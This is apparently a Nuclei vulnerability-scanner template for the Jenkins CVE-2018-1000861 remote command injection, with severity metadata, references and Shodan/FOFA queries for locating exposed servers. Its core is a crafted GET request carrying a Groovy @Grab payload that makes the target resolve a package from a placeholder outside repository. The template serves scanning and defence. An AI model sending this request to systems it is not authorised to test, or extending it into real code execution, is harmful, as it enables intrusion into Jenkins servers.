Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
PoC代码[已公开]
id: CVE-2018-1000861
info:
name: Jenkins - Remote Command Injection
author: dhiyaneshDK,pikpikcu
severity: critical
description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.
remediation: |
Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
reference:
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
- https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
- http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
- https://access.redhat.com/errata/RHBA-2019:0024
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-1000861
cwe-id: CWE-502
epss-score: 0.94489
epss-percentile: 0.99999
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
metadata:
max-request: 1
vendor: jenkins
product: jenkins
shodan-query:
- http.favicon.hash:81586312
- cpe:"cpe:2.3:a:jenkins:jenkins"
- product:"jenkins"
fofa-query: icon_hash=81586312
tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins
http:
- method: GET
path:
- '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "package#vulntest"
- type: status
status:
- 200
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